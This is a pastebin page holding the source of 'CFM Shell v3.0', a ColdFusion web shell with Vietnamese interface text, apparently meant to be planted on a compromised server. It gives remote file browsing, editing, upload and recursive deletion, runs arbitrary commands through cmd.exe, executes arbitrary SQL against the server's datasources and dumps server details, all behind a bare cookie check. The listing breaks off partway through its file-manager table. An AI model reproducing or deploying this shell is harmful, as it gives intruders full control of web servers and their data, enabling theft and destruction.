SHOW:
|
|
- or go back to the newest paste.
1 | <html> | |
2 | <style type="text/css"> | |
3 | body{background-color:#444;color:#e1e1e1;} | |
4 | body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; } | |
5 | table.info{ color:#fff;background-color:#222; } | |
6 | span,h1,a{ color: #df5 !important; } | |
7 | span{ font-weight: bolder; } | |
8 | h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; } | |
9 | div.content{ padding: 5px;margin-left:5px;background-color:#333; } | |
10 | a{text-decoration: none;} | |
11 | a:hover{ text-decoration:underline; } | |
12 | .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } | |
13 | .bigarea{ width:100%;height:300px; } | |
14 | input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; } | |
15 | form{ margin:0px; } | |
16 | .toolsInp{ width: 300px } | |
17 | .main th{text-align:left;background-color:#5e5e5e;} | |
18 | .main tr:hover{background-color:#5e5e5e} | |
19 | .l1{background-color:#444} | |
20 | .l2{background-color:#333} | |
21 | pre{font-family:Courier,Monospace;} | |
22 | </style> | |
23 | <head> | |
24 | <TITLE>CFM SHELL V3.0 edition</TITLE> | |
25 | <meta http-equiv="Content-Type" content="text/html"> | |
26 | </head> | |
27 | <body> | |
28 | <center> | |
29 | Cfm Shell v3.0 edition | |
30 | </center> | |
31 | <hr> | |
32 | <script langauge="JavaScript" type="text/javascript"> | |
33 | function doMenu(item) | |
34 | { | |
35 | obj=document.getElementById(item); | |
36 | col=document.getElementById("x" + item); | |
37 | if (obj.style.display=="none") | |
38 | { | |
39 | obj.style.display="block"; col.innerHTML="[-]"; | |
40 | } | |
41 | else | |
42 | { | |
43 | obj.style.display="none"; col.innerHTML="[+]"; | |
44 | } | |
45 | } | |
46 | </script> | |
47 | <!--- Login ---> | |
48 | ||
49 | <cfif IsDefined("logout")> | |
50 | <cfset structclear(cookie)> | |
51 | <cflocation url="?" addtoken="No"> | |
52 | </cfif> | |
53 | <cfif IsDefined("cookie.username")> | |
54 | <!--- Main ---> | |
55 | <center>Username:<font color="#FFFF33"><b><cfoutput>#username#</cfoutput></b></font> !</center> | |
56 | <center><b><a href="?logout">Logout</a></b></center> | |
57 | <hr> | |
58 | <cfoutput> | |
59 | <cfset dir = #GetDirectoryFromPath(GetTemplatePath())#> | |
60 | <cfif Right(dir, 1) neq "\" > | |
61 | <cfset dir = "#dir#\"> | |
62 | </cfif> | |
63 | <!--- Ham get Datasource Infor | |
64 | <cfscript> | |
65 | factory = CreateObject("java", "coldfusion.server.ServiceFactory"); | |
66 | DataSoureceInfo = factory.DataSourceService.getDatasources(); | |
67 | </cfscript> ---> | |
68 | ||
69 | <!--- Ham doc tep ---> | |
70 | <cffunction name="ReadFile" access="remote" output="true" returntype="any"> | |
71 | <cfargument name="fileread" type="string" required="true"/> | |
72 | <cffile action="read" file="#arguments.fileread#" variable="line"> | |
73 | <cfoutput>#line#</cfoutput> | |
74 | </cffunction> | |
75 | <!--- ham xoa thu muc ---> | |
76 | <cffunction name="dirDelete" access="public" output="false" returntype="any"> | |
77 | <cfargument name="dir" required="no" default="#expandPath('/pocket_cache/')#"> | |
78 | <cfdirectory action="list" name="delfile" directory="#arguments.dir#"> | |
79 | <cfif delfile.RecordCount EQ 0> | |
80 | <cfif directoryExists(arguments.dir)> | |
81 | <cfdirectory action="delete" directory="#arguments.dir#"> | |
82 | </cfif> | |
83 | <cfelse> | |
84 | <cfloop query="delfile"> | |
85 | <cfif type EQ "file"> | |
86 | <cffile action="delete" file="#arguments.dir#\#name#"> | |
87 | <cfelse> | |
88 | <cfset temp = dirDelete(arguments.dir & '\' & #delfile.name#)> | |
89 | </cfif> | |
90 | </cfloop> | |
91 | <cfif directoryExists(arguments.dir)> | |
92 | <cfdirectory action="delete" directory="#arguments.dir#"> | |
93 | </cfif> | |
94 | </cfif> | |
95 | </cffunction> | |
96 | <!--- ham doi ten thu muc ---> | |
97 | <cffunction name="renameDirectory" access="remote" output="false" returntype="void"> | |
98 | <cfargument name="oldDir" type="string" required="true"/> | |
99 | <cfargument name="newDir" type="string" required="true"/> | |
100 | <cfdirectory action="rename" directory="#arguments.oldDir#" newdirectory="#arguments.newDir#"/> | |
101 | </cffunction> | |
102 | </cfoutput> | |
103 | <!--- bat dau nhan lenh ---> | |
104 | <cfif isDefined("action")> | |
105 | <cfif action is "goto"> | |
106 | <cfoutput> | |
107 | <cfif isDefined("scr")> | |
108 | <cfset dir = #scr#> | |
109 | <cfif Right(dir, 1) neq "\" > | |
110 | <cfset dir = "#dir#\"> | |
111 | </cfif> | |
112 | </cfif> | |
113 | </cfoutput> | |
114 | <cfelseif action is "edit"> | |
115 | <cfoutput> | |
116 | <cfif isDefined("scr")> | |
117 | <cfif FileExists("#scr#")> | |
118 | <cfset file_name=#Replace(#scr#,'#GetDirectoryFromPath(scr)#','','ALL')#> | |
119 | <title>&##272;ang s&##7917;a t&##7879;p #scr#</title> | |
120 | <script language="JavaScript" type="text/javascript"> | |
121 | function sTrim(sVariable) | |
122 | { | |
123 | return sVariable.replace(/^\s+|\s+$/g,""); | |
124 | } | |
125 | function validateFields(form) | |
126 | { | |
127 | return true; | |
128 | } | |
129 | </script> | |
130 | <cffile action="read" file="#scr#" variable="thisFile"> | |
131 | <h1>Edit file:</h1> | |
132 | <div class=content> | |
133 | <form action="?action=save&scr=#GetDirectoryFromPath(scr)#" method="post" onsubmit="return validateFields(this);"> | |
134 | <input type="hidden" name="fileName" value="#file_name#" /> | |
135 | <input type="hidden" name="action_type" value="edit" /> | |
136 | <tr> | |
137 | <td style="font-weight:bold;" nowrap="nowrap"> | |
138 | File path: | |
139 | </td> | |
140 | <td> | |
141 | #scr# | |
142 | </td> | |
143 | </tr> | |
144 | <tr> | |
145 | <td> | |
146 | <cfset thisFile=#Replace(#thisFile#,'<','<','ALL')#> | |
147 | <cfset thisFile=#Replace(#thisFile#,'>','>','ALL')#> | |
148 | <textarea class="bigarea" name="fileContent">#thisFile#</textarea> | |
149 | </td> | |
150 | </tr> | |
151 | <tr> | |
152 | <td> | |
153 | <input type="submit" value="Save" style="font-family:verdana; font-size:11px;" /> | |
154 | </td> | |
155 | </tr> | |
156 | </form></div> | |
157 | <cfelse> | |
158 | <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p> | |
159 | </cfif> | |
160 | <a href="?action=goto&scr=#GetDirectoryFromPath(scr)#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
161 | <cfelse> | |
162 | <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
163 | </cfif> | |
164 | </cfoutput> | |
165 | <cfelseif action is "cut"> | |
166 | <cfoutput> | |
167 | <cfif isDefined("scr")> | |
168 | <cfset cutdir = #scr#> | |
169 | <cfif FileExists("#scr#")> | |
170 | <cfset cutdir = #RemoveChars(cutdir, len(cutdir), 1)#> | |
171 | <cfloop condition = "Right(cutdir, 1) neq '\'"> | |
172 | <cfset cutdir = #RemoveChars(cutdir, len(cutdir), 1)#> | |
173 | </cfloop> | |
174 | <cfform name="articles" ENCTYPE="multipart/form-data"> | |
175 | B&##7841;n s&##7869; di chuy&##7875;n t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#cutdir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" /> | |
176 | </cfform> | |
177 | <cfif isDefined("thumucsechuyen")> | |
178 | <cffile action="move" source="#scr#" destination="#thumucsechuyen#"> | |
179 | <cflocation url="?action=goto&scr=#cutdir#" addtoken="No"> | |
180 | </cfif> | |
181 | <cfelse> | |
182 | <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p> | |
183 | </cfif> | |
184 | <a href="?action=goto&scr=#cutdir#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
185 | <cfelse> | |
186 | <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
187 | </cfif> | |
188 | </cfoutput> | |
189 | <cfelseif action is "copy"> | |
190 | <cfoutput> | |
191 | <cfif isDefined("scr")> | |
192 | <cfset copydir = #scr#> | |
193 | <cfif FileExists("#scr#")> | |
194 | <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#> | |
195 | <cfloop condition = "Right(copydir, 1) neq '\'"> | |
196 | <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#> | |
197 | </cfloop> | |
198 | <cfform name="articles" ENCTYPE="multipart/form-data"> | |
199 | B&##7841;n s&##7869; sao ch&##233;p t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#copydir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" /> | |
200 | </cfform> | |
201 | <cfif isDefined("thumucsechuyen")> | |
202 | <cffile action="copy" source="#scr#" destination="#thumucsechuyen#"> | |
203 | <cflocation url="?action=goto&scr=#copydir#" addtoken="No"> | |
204 | </cfif> | |
205 | <cfelse> | |
206 | <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p> | |
207 | </cfif> | |
208 | <a href="?action=goto&scr=#copydir#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
209 | <cfelse> | |
210 | <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
211 | </cfif> | |
212 | </cfoutput> | |
213 | <cfelseif action is "rename"> | |
214 | <cfoutput> | |
215 | <cfif isDefined("scr")> | |
216 | <cfset renamedir = #scr#> | |
217 | <cfif FileExists("#scr#")> | |
218 | <cfloop condition = "Right(renamedir, 1) neq '\'"> | |
219 | <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#> | |
220 | </cfloop> | |
221 | <cfform name="articles" ENCTYPE="multipart/form-data"> | |
222 | Rename #renamedir#<cfinput type="text" name="namechange" size="25" value=""> <input type="submit" value="Rename" /> | |
223 | </cfform> | |
224 | <cfif isDefined("namechange")> | |
225 | <cffile action="rename" source="#scr#" destination="#renamedir##namechange#"> | |
226 | <cflocation url="?action=goto&scr=#renamedir#" addtoken="No"> | |
227 | </cfif> | |
228 | <cfelse> | |
229 | <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p> | |
230 | </cfif> | |
231 | <a href="?action=goto&scr=#renamedir#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
232 | <cfelse> | |
233 | <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
234 | </cfif> | |
235 | </cfoutput> | |
236 | <cfelseif action is "renamed"> | |
237 | <cfoutput> | |
238 | <cfif isDefined("scr")> | |
239 | <cfset renamedir = #scr#> | |
240 | <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#> | |
241 | <cfif DirectoryExists("#scr#")> | |
242 | <cfloop condition = "Right(renamedir, 1) neq '\'"> | |
243 | <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#> | |
244 | </cfloop> | |
245 | <cfform name="articles" ENCTYPE="multipart/form-data"> | |
246 | Rename #renamedir#<cfinput type="text" name="namechange" size="25" value=""> <input type="submit" value="Rename" /> | |
247 | </cfform> | |
248 | <cfif isDefined("namechange")> | |
249 | #renameDirectory('#scr#','#renamedir##namechange#')# | |
250 | <cflocation url="?action=goto&scr=#renamedir#" addtoken="No"> | |
251 | </cfif> | |
252 | <cfelse> | |
253 | <p>Th&##432; m&##7909;c #scr# kh&##244;ng t&##7891;n t&##7841;i.</p> | |
254 | </cfif> | |
255 | <a href="?action=goto&scr=#renamedir#" style="color: rgb(255, 0, 0);"><u> <- ..</u></a> | |
256 | <cfelse> | |
257 | <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- ..</u></a> | |
258 | </cfif> | |
259 | </cfoutput> | |
260 | <cfelseif action is "down"> | |
261 | <cfoutput> | |
262 | <cfif isDefined("scr")> | |
263 | <cfset downdir = #scr#> | |
264 | <cfif FileExists("#scr#")> | |
265 | <cfloop condition = "Right(downdir, 1) neq '\'"> | |
266 | <cfset downdir = #RemoveChars(downdir, len(downdir), 1)#> | |
267 | </cfloop> | |
268 | <cfheader name="Content-Disposition" value="attachment; filename=#getFileFromPath (scr)#"> | |
269 | <cfcontent file="#scr#" type="application/octet-stream"> | |
270 | <cfelse> | |
271 | <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p> | |
272 | </cfif> | |
273 | <a href="?action=goto&scr=#downdir#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
274 | <cfelse> | |
275 | <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
276 | </cfif> | |
277 | </cfoutput> | |
278 | <cfelseif action is "del"> | |
279 | <cfoutput> | |
280 | <cfif isDefined("scr")> | |
281 | <cfset deletedir = #scr#> | |
282 | <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#> | |
283 | <cfif FileExists("#scr#")> | |
284 | <cfloop condition = "Right(deletedir, 1) neq '\'"> | |
285 | <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#> | |
286 | </cfloop> | |
287 | <cffile action="delete" file="#scr#"> | |
288 | <cflocation url="?action=goto&scr=#deletedir#" addtoken="No"> | |
289 | <cfelse> | |
290 | <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p> | |
291 | </cfif> | |
292 | <a href="?action=goto&scr=#deletedir#" style="color: rgb(255, 0, 0);"><u> <- DeleteDir</u></a> | |
293 | <cfelse> | |
294 | <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- DeleteDir</u></a> | |
295 | </cfif> | |
296 | </cfoutput> | |
297 | <cfelseif action is "deld"> | |
298 | <cfoutput> | |
299 | <cfif isDefined("scr")> | |
300 | <cfset deletedir = #scr#> | |
301 | <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#> | |
302 | <cfif DirectoryExists("#scr#")> | |
303 | <cfloop condition = "Right(deletedir, 1) neq '\'"> | |
304 | <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#> | |
305 | </cfloop> | |
306 | <cfset dirDelete('#scr#')> | |
307 | <cflocation url="?action=goto&scr=#deletedir#" addtoken="No"> | |
308 | <cfelse> | |
309 | <p>DeleteDir</p> | |
310 | </cfif> | |
311 | <a href="?action=goto&scr=#deletedir#" style="color: rgb(255, 0, 0);"><u> <- DeleteDir</u></a> | |
312 | <cfelse> | |
313 | <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- DeleteDir</u></a> | |
314 | </cfif> | |
315 | </cfoutput> | |
316 | <cfelseif action is "new"> | |
317 | <!--- | |
318 | <cfoutput> | |
319 | <cfif isDefined("scr")> | |
320 | <cfif FileExists("#scr#")> | |
321 | <p>T&##7853;p tin #scr# &##273;&##227; t&##7891;n t&##7841;i.</p> | |
322 | <cfelse> | |
323 | <cfform name="articles" ENCTYPE="multipart/form-data"> | |
324 | B&##7841;n s&##7869; t&##7841;o th&##432; m&##7909;c m&##7899;i #scr#<cfinput type="text" name="namecreate" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" /> | |
325 | </cfform> | |
326 | <cfif isDefined("namecreate")> | |
327 | <cffile action = "write" file = "#scr##namecreate#" output = ""> | |
328 | <cflocation url="?action=goto&scr=#scr#" addtoken="No"> | |
329 | </cfif> | |
330 | </cfif> | |
331 | <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
332 | <cfelse> | |
333 | <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
334 | </cfif> | |
335 | </cfoutput> | |
336 | ---> | |
337 | <cfoutput> | |
338 | <cfif isDefined("scr")> | |
339 | <cfdirectory action="list" directory="#scr#" name="fileList"> | |
340 | <script language="JavaScript" type="text/javascript"> | |
341 | var fileArray = new Array(<cfoutput>#quotedValueList(fileList.name)#</cfoutput>); | |
342 | function sTrim(sVariable) | |
343 | { | |
344 | return sVariable.replace(/^\s+|\s+$/g,""); | |
345 | } | |
346 | function validateFields(form) | |
347 | { | |
348 | var fileCount = 0; | |
349 | var re = /.txt$|.cfm$|.cfml$|.htm|.html$/; | |
350 | if (sTrim(form.fileName.value) == "") | |
351 | { | |
352 | alert('Can nhap ten tep'); | |
353 | form.fileName.focus(); | |
354 | return false; | |
355 | } | |
356 | if (form.fileName.value.search(re) < 0) | |
357 | { | |
358 | alert('Khong chap nhan tep loai nay!\n\n Chi chap nhan .cfm, .cfml, .htm, .html, va .txt!'); | |
359 | form.fileName.focus(); | |
360 | form.fileName.select(); | |
361 | return false; | |
362 | } | |
363 | for (var i=0; i<fileArray.length; i++) | |
364 | { | |
365 | if (sTrim(form.fileName.value) == fileArray[i]) | |
366 | { | |
367 | fileCount++; | |
368 | } | |
369 | } | |
370 | if (fileCount > 0) | |
371 | { | |
372 | alert('Ten nay da ton tai, vui long chon tep khac'); | |
373 | form.fileName.focus(); | |
374 | form.fileName.select(); | |
375 | return false; | |
376 | } | |
377 | return true; | |
378 | } | |
379 | </script> | |
380 | <form action="?action=save&scr=#scr#" method="post" onsubmit="return validateFields(this);"> | |
381 | <input type="hidden" name="action_type" value="add" /> | |
382 | <table border="0" style="width:400px;"> | |
383 | <tr> | |
384 | <td style="font-weight:bold;" nowrap="nowrap"> | |
385 | File name: | |
386 | </td> | |
387 | <td> | |
388 | <input type="text" name="fileName" style="font-family:verdana; font-size:11px; width:316px;" /> | |
389 | </td> | |
390 | </tr> | |
391 | <tr> | |
392 | <td style="font-weight:bold;" nowrap="nowrap"> | |
393 | File content: | |
394 | </td> | |
395 | <td colspan="2"> | |
396 | <textarea name="fileContent" style="font-family:verdana; font-size:11px; height:250px; width:600px;"></textarea> | |
397 | </td> | |
398 | </tr> | |
399 | <tr> | |
400 | <td colspan="2" style="text-align:right;"> | |
401 | <input type="submit" value="Save" style="font-family:verdana; font-size:11px;" /> | |
402 | </td> | |
403 | </tr> | |
404 | </table> | |
405 | </form> | |
406 | <a href="?action=goto&scr=#GetDirectoryFromPath(scr)#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
407 | <cfelse> | |
408 | <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
409 | </cfif> | |
410 | </cfoutput> | |
411 | <cfelseif action is "newd"> | |
412 | <cfoutput> | |
413 | <cfif isDefined("scr")> | |
414 | <cfform name="articles" ENCTYPE="multipart/form-data"> | |
415 | New dir: <cfinput type="text" name="namecreate" size="25" value="#GetDirectoryFromPath(scr)#"> <input type="submit" value="Create new dir" /> | |
416 | </cfform> | |
417 | <cfif isDefined("namecreate")> | |
418 | <cfdirectory directory= "#scr##namecreate#" action="create"> | |
419 | <cflocation url="?action=goto&scr=#scr#" addtoken="No"> | |
420 | </cfif> | |
421 | <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
422 | <cfelse> | |
423 | <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
424 | </cfif> | |
425 | </cfoutput> | |
426 | <cfelseif action is "upload"> | |
427 | <cfoutput> | |
428 | <cfif isDefined("scr")> | |
429 | <cfform enctype="multipart/form-data" method="post"> | |
430 | Upload file to path: <font color="red">#scr#</font><br> | |
431 | Choose file: <input type="file" size="80" name="fileup" /> <input type="submit" value="Upload" /><br/> | |
432 | </cfform> | |
433 | <cfif isDefined("fileup")> | |
434 | <cffile action="upload" fileField="fileup" destination="#scr#" nameconflict="overwrite"> | |
435 | <cflocation url="?action=goto&scr=#scr#" addtoken="No"> | |
436 | </cfif> | |
437 | <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
438 | <cfelse> | |
439 | <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
440 | </cfif> | |
441 | </cfoutput> | |
442 | <cfelseif action is "cmd"> | |
443 | <cfoutput> | |
444 | <cfif not isDefined("patch")> | |
445 | <cfif FileExists("#GetDirectoryFromPath(GetTemplatePath())#cdm.exe")> | |
446 | <cfset patch = "#GetDirectoryFromPath(GetTemplatePath())#cmd.exe"> | |
447 | <cfset out = "#GetDirectoryFromPath(GetTemplatePath())#out.txt"> | |
448 | <cfelseif FileExists("C:\windows\system32\cmd.exe")> | |
449 | <cfset patch = "C:\windows\system32\cmd.exe"> | |
450 | <cfset out = "C:\windows\system32\out.txt"> | |
451 | <cfelseif FileExists("C:\winnp\system32\cmd.exe")> | |
452 | <cfset patch = "C:\winnp\system32\cmd.exe"> | |
453 | <cfset out = "C:\winnp\system32\out.txt"> | |
454 | <cfelse> | |
455 | <p>Kh&##244;ng t&##236;m th&##7845;y t&##7879;p cmd.exe</p> | |
456 | <p>Khai b&##225;o bi&##7871;n patch l&##224; &##273;&##432;&##7901;ng d&##7851;n tr&##7921;c ti&##7871;p t&##7899;i t&##7879;p cmd.exe</p> | |
457 | <p>Khai b&##225;o bi&##7871;n out l&##224; &##273;&##432;&##7901;ng d&##7851;n tr&##7921;c ti&##7871;p t&##7899;i t&##7879;p d&##7919; li&##7879;u</p> | |
458 | <cfset sai = 1> | |
459 | </cfif> | |
460 | <cfelseif FileExists("#patch#")> | |
461 | <cfset out = "#GetDirectoryFromPath(patch)#out.txt"> | |
462 | <cfelse> | |
463 | <p>Kh&##244;ng t&##236;m th&##7845;y t&##7879;p cmd.exe</p> | |
464 | </cfif> | |
465 | <cfif not isDefined("sai")> | |
466 | <cfform name="articles" ENCTYPE="multipart/form-data"> | |
467 | Enter command: <cfinput type="text" name="command" size="25" value=""> <input type="submit" value="Run" /> | |
468 | </cfform> | |
469 | <cfif isDefined("command")> | |
470 | <p>Results:</p> | |
471 | <cfexecute name="#patch#" arguments="/C #command# > #out#" timeout="60"></cfexecute> | |
472 | #ReadFile('#out#')# | |
473 | #out# | |
474 | <cfif FileExists("#out#")> | |
475 | <cffile action="delete" file="#out#"> | |
476 | </cfif> | |
477 | </cfif> | |
478 | </cfif> | |
479 | <br> | |
480 | <a href="?action=goto&scr=#GetDirectoryFromPath(GetTemplatePath())#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
481 | </cfoutput> | |
482 | <cfelseif action is "datainfo"> | |
483 | <cfoutput> | |
484 | <cfdump var="#DataSoureceInfo#"> | |
485 | <a href="?action=goto&scr=#GetDirectoryFromPath(GetTemplatePath())#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
486 | </cfoutput> | |
487 | <cfelseif action is "save"> | |
488 | <cfoutput> | |
489 | <cfif isDefined("form.fileName")> | |
490 | <title>&##272;&##227; l&##432;u t&##7879;p</title> | |
491 | <cffile action="write" file="#scr#\#form.fileName#" output="#form.fileContent#" addnewline="no"> | |
492 | &##272;&##227; <cfif form.action_type IS "edit">s&##7917;a<cfelse>t&##7841;o</cfif> th&##224;nh c&##244;ng t&##7879;p <span style="font-weight:bold;">#form.fileName#</span>.<br> | |
493 | <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
494 | <cfelse> | |
495 | <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
496 | </cfif> | |
497 | </cfoutput> | |
498 | <cfelseif action is "sql"> | |
499 | <cfoutput> | |
500 | <cfform name="articles1" ENCTYPE="multipart/form-data"> | |
501 | DataBase Name: | |
502 | <cfif isDefined("database")> | |
503 | <cfinput type="text" name="database" size="25" value="#database#"><br> | |
504 | <cfelseif IsDefined("DS")> | |
505 | <cfinput type="text" name="database" size="25" value="#DS#"><br> | |
506 | <cfelse> | |
507 | <cfinput type="text" name="database" size="25" value=""><br> | |
508 | </cfif> | |
509 | SQL query: <cfinput type="text" query="SQL" name="query" size="130" value=""><br> | |
510 | <input type="submit" value="Th&##7921;c hi&##7879;n" /> | |
511 | </cfform> | |
512 | </cfoutput> | |
513 | <cfif isDefined("database") and isDefined("query")> | |
514 | <cfquery name="SQL" DataSource="#database#"> | |
515 | #preserveSingleQuotes(query)# | |
516 | </cfquery> | |
517 | <br> | |
518 | <table width="90%" border="1" align="center"> | |
519 | <tr><td align="center">M?u h?i: <font color="red"><cfoutput>#query#</cfoutput></font></td></tr> | |
520 | <tr><td align="center">K?t qu? tr? v?:</td></tr> | |
521 | <tr><td><cfdump var="#SQL#" format="text" label="Ket qua"></td></tr> | |
522 | </table> | |
523 | <br> | |
524 | </cfif> | |
525 | <cfoutput> | |
526 | <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a> | |
527 | </cfoutput> | |
528 | </cfif> | |
529 | <cfelse> | |
530 | <cfset action = "goto"> | |
531 | </cfif> | |
532 | <cfif action is "goto" or action is "del" or action is "deld"> | |
533 | <cfoutput> | |
534 | <center><a href="javascript:doMenu('thongtin');" id=xthongtin>[-]</a>Server info:</center> | |
535 | <div id="thongtin"> | |
536 | <!--- Lay thong tin ip ---> | |
537 | <cfif #cgi.http_x_forwarded_for# eq ""> | |
538 | <cfset clientip="#cgi.remote_addr#"> | |
539 | <cfelse> | |
540 | <cfset clientip="#cgi.http_x_forwarded_for#"> | |
541 | </cfif> | |
542 | <!--- In thong tin server ---> | |
543 | <span>Server IP:</span> #CGI.HTTP_HOST#:#CGI.SERVER_PORT#</span> - <span>Client IP:</span> #clientip#<br> | |
544 | <span>Gateway Interface:</span> #CGI.GATEWAY_INTERFACE# - <span>Server Name:</span> #CGI.SERVER_NAME#:#CGI.SERVER_PORT#<br> | |
545 | <span>Server Protocol:</span> #CGI.SERVER_PROTOCOL# - <span>Server Software:</span> #CGI.SERVER_SOFTWARE#<br> | |
546 | <span>Appserver:</span> #server.coldfusion.appserver# - <span>Expiration:</span> #DateFormat(server.coldfusion.expiration, "d/m/yy")# #TimeFormat(server.coldfusion.expiration, "HH:mm:ss")#<br> | |
547 | <span>Product Name:</span> #server.coldfusion.productname# - <span>Product Level:</span> #server.coldfusion.productlevel# - <span>Product Version:</span> #server.coldfusion.productversion#<br> | |
548 | <span>Server OS Arch:</span> #server.os.arch# - <span>Server OS Name:</span> #server.os.name# - <span>Server OS Version:</span> #server.os.version#<br> | |
549 | </div> | |
550 | <hr> | |
551 | <!--- Thu tao Object | |
552 | <cftry> | |
553 | <cfobject type="com" class="scripting.filesystemobject" name="fso" action="connect"> | |
554 | <cfcatch type="any"> | |
555 | <cfobject type="com" class="scripting.filesystemobject" name="fso" action="create"> | |
556 | </cfcatch> | |
557 | </cftry> | |
558 | ---> | |
559 | ||
560 | <hr> | |
561 | <center><a href="javascript:doMenu('congcu');" id=xcongcu>[-]</a>Main:</center> | |
562 | <div id="congcu"> | |
563 | Path: #dir#<br> | |
564 | Operations: <a href="?action=new&scr=#dir#">NewFile</a> - <a href="?action=newd&scr=#dir#">NewDir</a> - <a href="?action=upload&scr=#dir#" title="T&##7843;i l&##234;n m&##7897;t t&##7879;p t&##7915; m&##225;y t&##237;nh c&##7911;a b&##7841;n">Upload file</a> - <a href="?" title="Tr&##7903; v&##7873; th&##432; m&##7909;c ch&##7913;a Shell">---</a><br> | |
565 | Actions: <a href="?action=cmd" title="Th&##7921;c thi l&##7879;nh Command Dos">CMD</a> - <a href="?action=sql&scr=#dir#" title="Th&##7921;c thi l&##7879;nh SQL query">SQL</a> - <a href="?action=datainfo" title="Th&##244;ng tin C&##417; S&##7903; D&##7919; Li&##7879;u">Datainfo CSDL</a> | |
566 | </div> | |
567 | <hr> | |
568 | <h1>File manager:</h1> | |
569 | <div id="thumuc"> | |
570 | </cfoutput> | |
571 | <cfdirectory directory="#dir#" name="myDirectory" sort="type ASC" > | |
572 | <div class=content> | |
573 | <table width=100% class=main cellspacing=0 cellpadding=1><tr><th width='13px'><input type=checkbox class=chkbx name=ch11'></th><th>Name</th><th>Size</th><th>Modify</th><th>Chmod</th><th>Mode</th><th>Actions</th></tr> | |
574 | <cfoutput> | |
575 | <cfif len(dir) gt 3> | |
576 | <tr> | |
577 | <cfset updir = #dir#> | |
578 | <cfset updir = #RemoveChars(updir, len(updir), 1)#> | |
579 | <cfloop condition = "Right(updir, 1) neq '\'"> | |
580 | <cfset updir = #RemoveChars(updir, len(updir), 1)#> | |
581 | </cfloop> | |
582 | <th class=chkbx><input type=checkbox width='13px' class=chkbx></th><td width="20%"><strong><a href="?action=goto&scr=#updir#">..</a></strong></td> | |
583 | </tr> | |
584 | </cfif> | |
585 | </cfoutput> | |
586 | <cfset x=1> | |
587 | <cfoutput query="myDirectory"> | |
588 | <cfif x EQ 2> | |
589 | <tr class=l2><th class=chkbx width='13px'><input type=checkbox class=chkbx></th> | |
590 | </cfif> | |
591 | <cfif x EQ 1> | |
592 | <tr class=l1><th class=chkbx width='13px'><input type=checkbox class=chkbx></th> | |
593 | </cfif> | |
594 | <cfif x EQ 1> | |
595 | <cfset x=2> | |
596 | <cfelse> | |
597 | <cfset x=1> | |
598 | </cfif> | |
599 | <td> | |
600 | <cfif #Type# is "Dir"> | |
601 | <a href="?action=goto&scr=#dir##Name#\"><b>[#Name#]</b></a> | |
602 | <cfelse> | |
603 | <a href="?action=edit&scr=#dir##Name#\">#Name#</a> | |
604 | </cfif> | |
605 | </td> | |
606 | <td> | |
607 | <cfif #type# is "Dir"> | |
608 | <Dir> | |
609 | <cfelseif #Size# LT 1024> | |
610 | #Size# B | |
611 | <cfelseif #Size# LT 1024*1024> | |
612 | #round(Size/1024)# KB | |
613 | <cfelseif #Size# LT 1024*1024*1024> | |
614 | #round(Size/1024/1024)# MB | |
